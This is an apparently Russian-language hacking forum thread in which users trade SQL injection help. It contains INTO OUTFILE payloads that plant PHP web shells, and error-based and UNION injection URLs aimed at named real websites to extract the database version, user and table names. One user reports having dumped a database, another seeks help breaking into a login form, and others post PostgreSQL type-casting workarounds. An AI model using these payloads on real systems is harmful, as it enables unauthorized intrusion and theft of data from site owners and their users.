Ваши вопросы по уязвимостям.

select '<?php system($_GET[cmd]); ?> into outfile '(найди путь к папки где стоит права 777)'

 

Можешь поподробнее описать, как проверить привелегии и как правильно составить запрос.

Дира где находиться сайт /home/.sites/site1/

 

раскажите про xpatch injection?

 

клац

 

Помогите определить версию БД.


http://www.menupix.com/losangeles/restaurants.php?id=-204431+%6f%72%64%65%72+by+3+--+

 

Code:

http://www.menupix.com/losangeles/restaurants.php?id=1+and+%28select*from%28select%20name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29a%29

 

Как вывести имя юзера?

 

Code:

http://www.menupix.com/losangeles/restaurants.php?id=-204431+or+1+group+by+concat(user(),floor(rand(0)*%202))having+min(0)+or+1

 

Каким запросом можно вывести название таблиц?


http://www.menupix.com/losangeles/restaurants.php?id=-204431+or+1+group+by+concat((SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1)),floor(rand(0)*%202))having+min(0)+or+1

 

http://www.menupix.com/losangeles/restaurants.php?id=-204431+or+1+group+by+concat((select+table_name+from+information_schema.`tables`+limit+1),floor(rand(0)*2))having+min(0)+or+1

 

Ребят вытянул дб, сделал экспорт на локалхост, в таблицах есть строки, как сделать сортировку, чтобы повторных значений не было? например строка id_user ...

 

select distinct id_user from....

 

Тебе ж уже вроде написали.
http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<?php eval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php' --
А вообще читай http://forum.antichat.ru/thread43966.html

 

Этот метод работает не везде.
https://forum.antichat.net/thread98525.html

 

ребят такой вопрос, вообщем на одном сайте нашёл скуль инж (_http://www.bittu.org.ru//comtech/?q=node/21), формируется в методом POST если в если в поле логин ввести ковычку, выводит warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /usr/local/www/data/aptech/includes/common.inc(1547) : eval()'d code on line 42.
я не очень понимаю в инъекциях, точнее нихрена я не понимаю, помогите плз! каким образом мне вообще формировать запросы к БД, авторизациями?

P.S если есть какой нибудь добрый дядька кто проконсультирует в этом вопросе, милости прошу icq 3300890.

 

подобрал число колонок на PostgreSQL (PostgreSQL 8.1.11 on i686-pc-linux-gnu)

1+union+select+null,null,null,null,null,null,null,null,null,null,null+--+

сделал

1+union+select+table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name,table_name+from+information_schema.tables+--+

пишет

Query failed: ERROR: UNION types integer and character varying cannot be matched in

Как обойти?

 

ты сначала вывод определи в какой колонке идет..потом уже запрос делай, и еще все зависит от версии постгре...в новых есть INFORMATION_SCHEMA.TABLES а в старых пользуйся PG_TABLES

 

Это несовпадение типов данных, вывод напрашивается сам по себе.

 

в том то и проблема что не могу определить какое поле выводится, если null,null,null то все нормально а если числовое значение делаю т.е. 1,2,3 и т.д. ошибку выводит

cast(table_name+as+int) тоже не канает

 

Тип колонки вам придется подбирать вручную типа

Code:

select field1::int, field2::text from ...

и искать текстовое поле для вывода.
ЗЫ. Со статьей https://forum.antichat.ru/thread35599.html ознакомились?